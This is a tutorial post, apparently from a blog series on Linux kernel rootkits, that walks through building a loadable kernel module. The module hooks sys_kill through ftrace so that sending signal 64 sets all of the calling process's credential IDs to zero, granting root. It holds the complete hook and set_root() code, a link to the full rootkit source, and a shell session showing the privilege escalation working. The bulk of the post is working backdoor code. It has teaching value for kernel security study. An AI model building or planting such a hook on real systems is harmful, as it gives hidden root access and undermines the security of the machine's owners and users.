Now that you know how to make a Linux kernel module that can hook any exposed function in kernel memory (Part 1 and Part 2), let’s get down to writing a hook that does something interesting!

In this first example, we’re going to make a rootkit that intercepts calls to sys_kill. 99% of the time, we only use sys_kill (the userspace tool we normally use is the familiar kill) to kill a process, i.e. force it to exit and stop execution. However, it’s real purpose is to simply send signals to processes. These signals can be familar things like SIGTERM or SIGKILL - you may have even used customizable signals like SIGUSR1. You can get a better idea of all the supported ones by looking at signal(7).

Note that kill isn’t the only way to send signals to a process! Ever pressed Ctrl-C while something is running in the terminal? Then you’ve sent the interrupt signal SIGINT.

Taking a look at signal.h, we see that these SIG names for the signals are really just numbers (as you’ll see, this is the case for many things in the kernel). Here you’ll see for instance that SIGKILL is defined as 9, which is the reason we type kill -9 $PID when we really want a process to die. Notice also that these numbers only go up to 32 (on x86). We are going to implement our own signal handler for number 64 - no one would notice that, right?

Hooking Kill

This hook is actually one of the easiest in this series. All we need to do is check is check if the sig argument is 64, and if so, call our yet-to-be-written set_root() function.

Assuming you’ve read parts 1 and 2, then you know all about how we’re going to hook sys_kill using ftrace and that we’ll have two copies of the hook for both the newer pt_regs convention as well as the pre-4.17.0 version. If that doesn’t make sense to you, then you might want to revisit the earlier two posts.

This is what our hook_kill function looks like. Note that for most of these posts, I’m going to stick to the pt_regs convention (it’s very to easy to re-write them for the old way). As always, the full working source is available at the repo.

asmlinkage int hook_kill(const struct pt_regs *regs)
{
    void set_root(void);

    int sig = regs->si;

    if (sig == 64)
    {
        printk(KERN_INFO "rootkit: giving root...\n");
        set_root();
        return 0;
    }

    return orig_kill(regs);
}

Notice that we have to pull out the sig argument from the si field of regs. As in Part 2, we get this information from the Linux Syscall Reference, which tells us that sys_kill does indeed expect sig to be placed into the si register when it’s called. Another thing to note is that if the signal is 64, then nothing is actually sent to any process! In other words, if we want the set_root() function to get called, we’ll need to send signal 64 to something, but that something will never actually receive anything, so it really doesn’t matter which PID we choose.

That’s all there is to the syscall hook! Easy, right? The brains of this rootkit actually comes from the set_root() function, which is what we now come to.

Changing Credentials

When attempting to implement some new functionality into the kernel, its always good to check the documentation to see if you can avoid a few headaches. In this case, we come out on top because there is fantastic documentation already prepared for us here. As this document informs us, “a task can only alter its own credentials, and may not alter those of another task”.

This means that we cannot give arbitrary processes root priveleges, but we can give ourselves root from within an already running process - for example, we should be able to run kill -64 1 (remember - the PID doesn’t matter!) from bash, and automagically become root!

The documentation then tells us that we need a cred struct, and that prepare_creds() will fill this struct with the process’s current credentials. Then we can make any changes we want to this struct, before committing them back to the process with commit_creds(). Seems fairly straightforward, right? Roughly, our function will look like this:

void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    /* Set the credentials to root */

    commit_creds(root);
}

Now we have just have to fill in that middle bit! How do we go about finding the layout of the cred struct in the source? Although I always link to the kernel source on GitHub, the search in GitHub is awful. For this reason, it’s best to keep a copy of the kernel source from torvalds on your Vagrant machine - this way, you can just grep for what you’re after. In this instance, grep -ir struct\ cred\ { only gives one result: include/linux/cred.h.

Down on line 111, we see the following (shortened for clarity):

struct cred {
    /* redacted */

    kuid_t      uid;    /* real UID of the task */
    kgid_t      gid;    /* real GID of the task */
    kuid_t      suid;   /* saved UID of the task */
    kgid_t      sgid;   /* saved GID of the task */
    kuid_t      euid;   /* effective UID of the task */
    kgid_t      egid;   /* effective GID of the task */
    kuid_t      fsuid;  /* UID for VFS ops */
    kgid_t      fdgid;  /* GID for VFS ops */

    /* redacted */
}

This looks like what we’re after! Another grep, but this time for kuid_t\; again gives only a single result: include/linux/uidgid.h. Here we learn that kuid_t is just a struct containing a single field val of type uid_t. The same goes for kgid_t, but val is of type gid_t. (The kernel sure loves its structs!)

Finally, we find that uid_t and gid_t are defined in arch/x86/include/asm/compat.h as just simple u16’s (didn’t I say that things are almost always just numbers?).

This process of finding some relevant code, then grepping down the rabbit-hole to find the proper definitions of things will come up again and again. It helps to have some idea of how things get defined in C. Don’t worry if you wouldn’t have come up with those grep searches by yourself - it comes with time and familarity of how kernel objects are constructed.

Seeing as these val fields are just u16s, we should just be able to set them all to 0 and, after committing them, we should be root!

Our set_root() function now looks like:

void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    root->uid.val = root->gid.val = 0;
    root->euid.val = root->egid.val = 0;
    root->suid.val = root->sgid.val = 0;
    root->fsuid.val = root->fsgid.val = 0;

    commit_creds(root);
}

Okay, if you’ve been following along, then finish up your hook and the rest of the ftrace business (see Part 2) - otherwise you can download the completed rookit source here.

Go ahead and make your kernel module and insmod it. Now simply send signal 64 to any process, say kill -64 1. Now check id and you’ll be root!

$ sudo insmod rootkit.ko
$ kill -64 1
$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lxd),117(lpadmin),118(sambashare),1000(vagrant)

An interesting side note is that we are completely bypassing a security feature of the cred structure without even realising! According to credentials.rst, once we call prepare_creds(), the current->cred_replace_mutex is automatically locked until commit_creds() is called (mutexes are kind of like locks that prevents simultaenous writes to objects within the kernel). This is done to prevent things like ptrace from just attaching to a process that’s changing its credentials and upgrading that change to root instead! We don’t notice this at all because, although the mutex is still locked, it’s locked so that only we can make changes!